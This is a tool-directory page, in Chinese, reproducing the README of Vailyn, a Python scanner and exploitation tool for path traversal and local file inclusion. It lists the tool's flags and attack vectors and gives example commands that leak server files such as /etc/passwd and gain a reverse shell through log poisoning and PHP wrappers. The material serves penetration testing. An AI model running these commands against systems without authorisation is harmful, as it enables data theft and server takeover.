Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Vailyn — 一个分阶段、规避检测的路径遍历 + LFI 扫描与利用工具(Python) | Kitploit
工具/GitHubGitHub/vainlystrain/vailyn
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubvainlystrain/vailyn

Vailyn

一个分阶段、规避检测的路径遍历 + LFI 扫描与利用工具(Python)

查看仓库
2002424年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享


Vailyn


分阶段路径遍历与LFI攻击

Vailyn 3.0

自v3.0起,Vailyn在第一阶段支持LFI PHP封装器。使用--lfi将其纳入扫描。

关于

Vailyn是一款多阶段漏洞分析与利用工具,专门针对路径遍历和文件包含漏洞。其设计目标是在性能上做到极致,并提供丰富的过滤器规避技术。

它是如何工作的?

Vailyn分两个阶段操作。首先,它通过尝试使用所有规避性载荷访问/etc/passwd(或用户指定的文件)来检查漏洞是否存在。分析响应后,将有效的载荷与其他载荷分离。

现在,用户可以自由选择要使用的载荷。只有这些载荷会在第二阶段中使用。

第二阶段是利用阶段。现在,它使用文件字典和目录字典尝试从服务器泄露所有可能的文件。搜索深度和目录排列级别可通过参数调整。可选地,它可以下载找到的文件,并保存到战利品文件夹中。或者,它将尝试在系统上获取反向Shell,让攻击者完全控制服务器。

目前,它支持多种攻击向量:通过查询、路径、Cookie和POST数据注入。

为什么要分阶段?

分阶段是为了极大提升工具性能。在以前的版本中,每个文件-目录组合都会与所有载荷进行检查。这导致了巨大的开销,因为即使载荷对当前页面无效,也总是被重复使用。

安装

推荐且经过测试的Python版本是3.7+,但在Python 3.5和Python 3.6下也应该能正常工作。要安装Vailyn,请从发布选项卡下载存档,或者执行

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

一旦放入系统,你需要安装Python依赖。

Unix系统

在Unix系统上,运行以下命令即可

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Vailyn使用的一些库在Windows上可能不兼容,或者安装失败。

如果你使用Windows,请使用pip安装Vailyn\·›\requirements-windows.txt中列出的需求。

如果twisted安装失败,有非官方版本可用,请参见这里,该版本应在Windows下构建。请注意这是第三方下载,其完整性不一定得到保证。成功安装后,再次对requirements-windows.txt运行pip应该可以。

最后步骤

如果你想完全使用反向Shell模块,你需要安装sshpass、ncat和konsole。包名因Linux发行版而异。在Windows上,你需要事先手动启动监听器。如果你不喜欢konsole,可以在core/config.py中指定其他终端模拟器。

就是这样!进入安装目录并执行以下命令启动Vailyn:

root@kitploit:~
$ python Vailyn -h

用法

Vailyn有3个必选参数:-v VIC, -a INT and -p2 TP P1 P2。然而,根据-a的不同,可能需要更多参数。

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

必选参数:
  -v VIC, --victim VIC  攻击目标,第一部分 [载荷前]
  -a INT, --attack INT  攻击类型 (整数,1-5,或A)

    A|  Spider (全部)       2|  Path              5|  POST Data, json
    P|  Spider (部分)       3|  Cookie
    1|  Query Parameter     4|  POST Data, plain

  -p2 TP P1 P2, --phase2 TP P1 P2
                        第二阶段攻击及必需的参数

┌[ 值 ]───────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ leak    │ 文件字典    │ 目录字典            │
│ inject  │ IP 地址     │ 监听端口            │
│ implant │ 源文件      │ 服务器目标路径      │
└─────────┴─────────────┴────────────────────┘

附加参数:
  -p PAM, --param PAM   查询参数或POST数据,用于 --attack 1, 4, 5
  -i F, --check F       第一阶段要检查的文件 (默认: etc/passwd)
  -Pi VIC2, --vic2 VIC2 攻击目标,第二部分 [载荷后]
  -c C, --cookie C      要附加的Cookie (以头部格式)
  -l, --loot            将找到的文件下载到loot文件夹
  -d I J K, --depths I J K
                        深度 (I: 第一阶段, J: 第二阶段, K: 排列级别)
  -h, --help            显示此帮助菜单并退出
  -s T, --timeout T     请求超时;用于Arjun的稳定开关
  -t, --tor             通过Tor匿名网络管道攻击
  -L, --lfi             额外使用PHP封装器泄露文件
  -n, --nosploit        跳过第二阶段 (不需要 -p2 TP P1 P2)
  -P, --precise         在第一阶段使用精确深度 (而非范围)
  -A, --app             启动Vailyn的Qt5界面

开发参数:
  --debug               显示尝试的每个路径,包括404
  --version             打印程序版本并退出
  --notmain             避免在子进程调用中notify2崩溃

信息:
  使用绝对路径泄露文件:-d 0 0 0
  使用绝对路径获取Shell:-d 0 X 0

Vailyn目前支持5种攻击向量,并提供一个爬虫来自动化所有攻击。执行的攻击由-a INT参数标识。

root@kitploit:~
INT        攻击
----       -------
1          基于查询的攻击  (https://site.com?file=../../../)
2          基于路径的攻击  (https://site.com/../../../)
3          基于Cookie的攻击 (会帮你抓取Cookie)
4          纯POST数据      (ELEM1=VAL1&ELEM2=../../../)
5          JSON POST数据   ({"file": "../../../"})
A          爬虫             从站点获取并分析所有URL,使用所有向量
P          部分爬虫         从站点获取并分析所有URL,仅使用选定向量

你还必须指定攻击目标。通过-v VIC和-Pi VIC2完成,其中-v是注入点之前的部分,-Pi是之后的部分。

示例:如果最终URL应像这样:https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue,你可以指定-v https://site.com/download.php和-Pi &param2=necessaryvalue(以及-p file,因为这是查询攻击)。

如果你想在扫描中包含PHP封装器(如php://filter),请使用--lfi参数。在第一阶段结束时,你会看到一个额外的选择菜单,其中列出了有效的封装器(如果有)。

如果攻击的网站需要登录页面,你可以通过-c COOKIE提供认证Cookie。如果你想通过Tor攻击,请使用--tor。

第一阶段

这是分析阶段,将有效的载荷与其他载荷分离。

默认情况下,会查找/etc/passwd。如果服务器不是运行Linux,你可以通过-i FILENAME指定自定义文件。注意,必须在FILENAME中包含子目录。 你可以通过-d的第一个值修改查找深度(默认=8)。 如果要使用绝对路径,将第一个深度设为0。

第二阶段

这是利用阶段,Vailyn将尝试尽可能多地泄露文件,或使用各种技术获取反向Shell。

第二阶段查找深度(向后遍历的最大层数)通过-d参数的第二个值指定。子目录排列级别通过-d的第三个值设置。

如果你使用绝对路径攻击并执行泄露攻击,将所有深度设为0。如果你想获取反向Shell,确保第二个深度大于0。

通过指定-l,Vailyn不仅会在终端显示文件,还会下载并保存文件到loot文件夹。

如果你想要详细输出(显示所有输出,不仅仅是找到的文件),可以使用--debug。注意输出会非常混乱,这基本上只是调试帮助。

要执行暴力攻击,你需要指定-p2 leak FIL PATH,其中:

  • FIL是一个仅包含文件名的字典文件(例如 index.php)
  • PATH是一个仅包含目录名的字典文件。Vailyn会为你处理目录排列,所以你只需要每行一个目录。

要通过代码注入获取反向Shell,你可以使用-p2 inject IP PORT,其中:

  • IP是你的监听IP
  • PORT是你想要监听的端口。

警告

Vailyn采用了日志投毒技术。因此,你指定的IP将在服务器日志中可见。

技术(仅适用于LFI包含):

  • /proc/self/environ 包含 仅适用于过时的服务器
  • Apache + Nginx 日志投毒与包含
  • SSH 日志投毒
  • 中毒邮件包含
  • 封装器
    • expect://
    • data:// (纯文本和base64)
    • php://input

误报预防

为区分真实结果与误报,Vailyn执行以下检查:

  • 检查响应的状态码
  • 检查响应是否与攻击开始前获取的响应相同:例如当服务器返回200,但忽略载荷输入或返回默认页面(如果文件未找到)时有用
  • 类似于#2,对查询GET参数处理执行额外检查(当服务器返回错误,缺少必需参数时有用)
  • 检查空响应
  • 检查响应内容中是否包含常见的错误特征
  • 检查载荷是否包含在响应中:这是对服务器对不存在的文件返回200,并在消息中反映载荷的情况(如../../secret未找到)的额外检查
  • 检查整个响应是否包含在初始检查响应中:当服务器有一个默认包含,但在404情况下消失时有用
  • 对于-a 2,执行额外检查,检查响应内容是否与服务器根URL的内容匹配
  • 如果使用/etc/passwd作为查找文件,则进行正则表达式检查

示例

  • 简单查询攻击,第二阶段泄露文件: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • 查询攻击,但我知道一个文件file.php恰好存在于包含点之上2层: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P 这将大大缩短第一阶段的时间,因为这是一次针对性攻击。

  • 简单路径攻击: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • 路径攻击,但我需要查询参数和标签: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • 简单Cookie攻击: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs 将获取Cookie,你可以选择要投毒的Cookie

  • POST纯文本攻击: 将用载荷感染DATA2

演示

asciicast Vailyn的爬虫分析一个该死的脆弱Web应用程序。LFI封装器未启用。

GUI演示 (v2.2.1-5)

可能的问题

发现了误报/漏报(或想指出其他bug/改进):请提一个issue!

行为准则

Vailyn作为一个进攻性Web应用程序审计工具提供。它具有内置功能,可以揭示Web应用程序中的潜在漏洞,这些漏洞可能被恶意利用。

因此,作者和贡献者均不对因使用此工具而导致的任何误用或损害负责。

使用本软件,用户同意遵守当地法律,不得未经所有者明确许可或出于恶意目的攻击他人的系统。

如果发生违规行为,只有最终用户应对其行为负责。

致谢与版权

Vailyn: 版权所有 © VainlyStrain

Arjun: 版权所有 © s0md3v

Arjun不再随Vailyn一起分发。通过pip安装其最新版本。

下载工具
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
  • POST JSON攻击: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • 攻击,但目标在登录页面之后: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • 攻击,但我想要在端口1337上获取反向Shell: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # 高第二阶段深度对于日志注入是必需的 (如果在Unix上,会为你启动ncat监听器)

  • 爬虫模式下的完全自动化: $ Vailyn -v "http://root-url.site" -a A 你也可以在此指定其他参数,如cookie、深度、lfi和查找文件

  • 完全自动化,但Arjun需要--stable: $ Vailyn -v "http://root-url.site" -a A -s ANY